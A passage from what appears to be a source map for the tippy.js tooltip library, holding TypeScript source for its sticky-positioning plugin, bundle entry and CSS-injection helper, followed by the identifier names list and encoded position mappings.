}\n}\n","import {VirtualElement} from '@popperjs/core';\nimport {ReferenceElement, Sticky} from '../types';\n\nconst sticky: Sticky = {\n name: 'sticky',\n defaultValue: false,\n fn(instance) {\n const {reference, popper} = instance;\n\n function getReference(): ReferenceElement | VirtualElement {\n return instance.popperInstance\n ? instance.popperInstance.state.elements.reference\n : reference;\n }\n\n function shouldCheck(value: 'reference' | 'popper'): boolean {\n return instance.props.sticky === true || instance.props.sticky === value;\n }\n\n let prevRefRect: ClientRect | null = null;\n let prevPopRect: ClientRect | null = null;\n\n function updatePosition(): void {\n const currentRefRect = shouldCheck('reference')\n ? getReference().getBoundingClientRect()\n : null;\n const currentPopRect = shouldCheck('popper')\n ? popper.getBoundingClientRect()\n : null;\n\n if (\n (currentRefRect && areRectsDifferent(prevRefRect, currentRefRect)) ||\n (currentPopRect && areRectsDifferent(prevPopRect, currentPopRect))\n ) {\n if (instance.popperInstance) {\n instance.popperInstance.update();\n }\n }\n\n prevRefRect = currentRefRect;\n prevPopRect = currentPopRect;\n\n if (instance.state.isMounted) {\n requestAnimationFrame(updatePosition);\n }\n }\n\n return {\n onMount(): void {\n if (instance.props.sticky) {\n updatePosition();\n }\n },\n };\n },\n};\n\nexport default sticky;\n\nfunction areRectsDifferent(\n rectA: ClientRect | null,\n rectB: ClientRect | null\n): boolean {\n if (rectA && rectB) {\n return (\n rectA.top !== rectB.top ||\n rectA.right !== rectB.right ||\n rectA.bottom !== rectB.bottom ||\n rectA.left !== rectB.left\n );\n }\n\n return true;\n}\n","import css from '../dist/tippy.css';\nimport {injectCSS} from '../src/css';\nimport {isBrowser} from '../src/browser';\nimport tippy, {hideAll} from '../src';\nimport createSingleton from '../src/addons/createSingleton';\nimport delegate from '../src/addons/delegate';\nimport animateFill from '../src/plugins/animateFill';\nimport followCursor from '../src/plugins/followCursor';\nimport inlinePositioning from '../src/plugins/inlinePositioning';\nimport sticky from '../src/plugins/sticky';\nimport {ROUND_ARROW} from '../src/constants';\nimport {render} from '../src/template';\n\nif (isBrowser) {\n injectCSS(css);\n}\n\ntippy.setDefaultProps({\n plugins: [animateFill, followCursor, inlinePositioning, sticky],\n render,\n});\n\ntippy.createSingleton = createSingleton;\ntippy.delegate = delegate;\ntippy.hideAll = hideAll;\ntippy.roundArrow = ROUND_ARROW;\n\nexport default tippy;\n","export function injectCSS(css: string): void {\n const style = document.createElement('style');\n style.textContent = css;\n style.setAttribute('data-__NAMESPACE_PREFIX__-stylesheet', '');\n const head = document.head;\n const firstStyleOrLinkTag = document.querySelector('head>style,head>link');\n\n if (firstStyleOrLinkTag) {\n head.insertBefore(style, firstStyleOrLinkTag);\n } else {\n head.appendChild(style);\n }\n}\n"],"names":["isBrowser","window","document","isIE11","msCrypto","TOUCH_OPTIONS","passive","capture","TIPPY_DEFAULT_APPEND_TO","body","getValueAtIndexOrReturn","value","index","defaultValue","Array","isArray","v","isType","type","str","toString","call","indexOf","invokeWithArgsOrReturn","args","debounce","fn","ms","arg","clearTimeout","timeout","setTimeout","removeProperties","obj","keys","clone","forEach","key","normalizeToArray","concat","pushIfUnique","arr","push","getBasePlacement","placement","split","arrayFrom","slice","removeUndefinedProps","Object","reduce","acc","undefined","div","createElement","isElement","some","isMouseEvent","isReferenceElement","_tippy","reference","getArrayOfElements","isNodeList","querySelectorAll","setTransitionDuration","els","el","style","transitionDuration","setVisibilityState","state","setAttribute","getOwnerDocument","elementOrElements","element","ownerDocument","updateTransitionEndListener","box","action","listener","method","event","actualContains","parent","child","target","contains","getRootNode","_target$getRootNode","host","currentInput","isTouch","lastMouseMoveTime","onDocumentTouchStart","performance","addEventListener","onDocumentMouseMove","now","removeEventListener","onWindowBlur","activeElement","instance","blur","isVisible","defaultProps","appendTo","aria","content","expanded","delay","duration","getReferenceClientRect","hideOnClick","ignoreAttributes","interactive","interactiveBorder","interactiveDebounce","moveTransition","offset","onAfterUpdate","onBeforeUpdate","onCreate","onDestroy","onHidden","onHide","onMount","onShow","onShown","onTrigger","onUntrigger","onClickOutside","plugins","popperOptions","render","showOnCreate","touch","trigger","triggerTarget","animateFill","followCursor","inlinePositioning","sticky","allowHTML","animation","arrow","inertia","maxWidth","role","theme","zIndex","defaultKeys","getExtendedPassedProps","passedProps","pluginProps","plugin","name","evaluateProps","props","out","valueAsString","getAttribute","trim","JSON","parse","e","getDataAttributeProps","dangerouslySetInnerHTML","html","createArrowElement","className","appendChild","setContent","textContent","getChildren","popper","firstElementChild","boxChildren","children","find","node","classList","backdrop","onUpdate","prevProps","nextProps","removeAttribute","removeChild","$$tippy","idCounter","mouseMoveListeners","mountedInstances","createTippy","showTimeout","hideTimeout","scheduleHideAnimationFrame","lastTriggerEvent","currentTransitionEndListener","onFirstUpdate","currentTarget","isVisibleFromClick","didHideDueToDocumentMouseDown","didTouchMove","ignoreOnFirstUpdate","listeners","debouncedOnMouseMove","onMouseMove","id","filter","item","popperInstance","isEnabled","isDestroyed","isMounted","isShown","clearDelayTimeouts","cancelAnimationFrame","setProps","partialProps","invokeHook","removeListeners","addListeners","cleanupInteractiveMouseListeners","handleAriaExpandedAttribute","handleStyles","createPopperInstance","getNestedPopperTree","nestedPopper","requestAnimationFrame","forceUpdate","show","isAlreadyVisible","isDisabled","isTouchAndTouchDisabled","getCurrentTarget","hasAttribute","getIsDefaultRenderFn","visibility","addDocumentPress","transition","getDefaultTemplateChildren","offsetHeight","handleAriaContentAttribute","callback","onTransitionEnd","onTransitionedIn","parentNode","mount","hide","isAlreadyHidden","removeDocumentPress","onTransitionedOut","unmount","hideWithInteractivity","getDocument","enable","disable","destroyPopperInstance","i","destroy","pluginsHooks","map","hasAriaExpanded","scheduleShow","getNormalizedTouchSettings","getIsCustomTouchBehavior","_instance$props$rende","getDelay","isShow","fromHide","pointerEvents","hook","shouldInvokePropsHook","pluginHooks","attr","currentValue","nextValue","replace","onDocumentPress","actualTarget","composedPath","onTouchMove","onTouchStart","doc","on","eventType","handler","options","onMouseLeave","Boolean","onBlurOrFocusOut","shouldScheduleClickHide","isEventListenerStopped","wasFocused","scheduleHide","isCursorOverReferenceOrPopper","popperTreeData","clientX","clientY","every","popperRect","popperState","basePlacement","offsetData","modifiersData","topDistance","top","y","bottomDistance","bottom","leftDistance","left","x","rightDistance","right","exceedsTop","exceedsBottom","exceedsLeft","exceedsRight","isCursorOutsideInteractiveBorder","_instance$popperInsta","getBoundingClientRect","relatedTarget","computedReference","contextElement","modifiers","padding","adaptive","enabled","phase","requires","attributes","createPopper","touchValue","touchDelay","tippy","targets","optionalProps","instances","setDefaultProps","applyStylesModifier","applyStyles","effect","initialStyles","position","strategy","margin","assign","elements","styles","BUBBLING_EVENTS_MAP","mouseover","focusin","click","createBackdropElement","insertBefore","overflow","Number","transitionDelay","Math","round","mouseCoords","activeInstances","storeMouseCoords","isInternalUpdate","wasFocusEvent","isUnmounted","getIsInitialBehavior","addListener","removeListener","unsetGetReferenceClientRect","isCursorOverReference","rect","relativeX","relativeY","width","height","create","addMouseCoordsListener","data","length","removeMouseCoordsListener","_","cursorRectIndex","triedPlacements","modifier","currentBasePlacement","boundingRect","clientRects","firstRect","lastRect","isTop","minLeft","min","rects","maxRight","max","measureRects","getInlineBoundingClientRect","getClientRects","addModifier","getProps","cursorRect","shouldCheck","prevRefRect","prevPopRect","updatePosition","currentRefRect","currentPopRect","areRectsDifferent","update","rectA","rectB","css","head","firstStyleOrLinkTag","querySelector","injectCSS","createSingleton","tippyInstances","individualInstances","references","triggerTargets","overrides","interceptSetPropsCleanups","shownOnCreate","setTriggerTargets","setReferences","enableInstances","interceptSetProps","singleton","originalSetProps","prepareInstance","overrideProps","prop","_references$index","originalShow","ref","showNext","first","showPrevious","last","setInstances","nextInstances","delegate","childTippyInstances","disabled","nativeProps","parentProps","childProps","returnValue","targetNode","closest","originalDestroy","originalEnable","originalDisable","shouldDestroyChildInstances","addEventListeners","hideAll","excludedReferenceOrInstance","exclude","isExcluded","originalDuration","roundArrow"],"mappings":"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